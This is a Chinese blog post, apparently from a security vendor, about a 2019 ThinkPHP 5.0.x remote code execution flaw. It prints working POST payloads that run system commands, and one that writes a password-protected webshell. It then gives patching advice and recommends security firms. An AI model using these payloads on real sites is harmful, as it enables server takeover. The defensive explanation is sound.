1. 程式人生 > >網站有漏洞被***該怎麽解決和修復

網站有漏洞被***該怎麽解決和修復

post code str 新版 可能 消息 賦值 如果 重要

2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接遠程代碼執行,getshell提權寫入網站***到網站根目錄,甚至直接提權到服務器,該漏洞影響版本ThinkPHP 5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本。

***者可以偽造遠程惡意代碼,對服務器進行post提交數據來利用漏洞,該漏洞產生的原因是繼上次2019元旦前後爆出的網站漏洞後,又一次的致命漏洞。在thinkphp目錄下的library文件夾下的think\request.php代碼。如下圖所示:

從上述代碼中可以看出整個代碼寫的流程,首先打開網站會從app.php代碼裏將請求的網站地址使用check來進行解析,然後再經過patch類型對其進行深度的賦值.然後可以使用post方式提交數據到_method函數當中去,框架會對進行判斷,然後對其調用傳入的參數值,經過整個代碼的循壞以及傳入,就可以導致request的值給覆蓋掉,從而產生遠程代碼執行,我們來構造惡意的代碼,看看漏洞是如何使用的。

post地址:anquan/public/index.php?s=captcha

POST內容:c=system&f=whoami&_method=filter

直接遠程提交過去就會執行我們的命令 whoami。查看返回的post數據就可以看到我們要看的

信息。

在整體的所有版本中測試,thinkphp必須開啟debug模式才可以寫入webshell,寫入的執行代碼是:_method=construct&filter[]=assert&filter[]=file_put_contents(‘0.php‘,_decode

(‘JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF‘))&server=-1 寫入的是一句話***,連接密碼是pass.

有些低版本的網站,可以不使用captcha參數也可是執行遠程代碼,代碼如下:_method=__construct&filter[]=system&method=GET&get[]=whoami

_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo

_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

以上三個都是可以執行遠程代碼的。

關於thinkphp漏洞的修復建議:

盡快升級thinkphp到最新版本,有一些網站可能不方便升級,也可以對代碼的文件進行修復,漏洞代碼是library/think/Request.php對該代碼的526行,527行進行添加設置白名單機制,對請求過來的數據,以及接收的數據進行安全限制。if (in_array($method, [‘GET‘, ‘POST‘, ‘DELETE‘, ‘PUT‘, ‘PATCH‘])) {$this->method = $method,網站程序代碼的安全很重要,如果網站使用了開源的CMS系統代碼,不懂程序技術的話,網站會經常被******,如果自己懂程序,那就可以自己針對代碼的漏洞進行漏洞修復,不懂的話,就請專業的網站安全公司來完善一下程序上的某些代碼漏洞,國內像SINE安全、綠盟安全、啟明星辰都是比較專業的安全公司,很多***之所以能植入***病毒,就是抓住了這些網站代碼上的漏洞。

網站有漏洞被***該怎麽解決和修復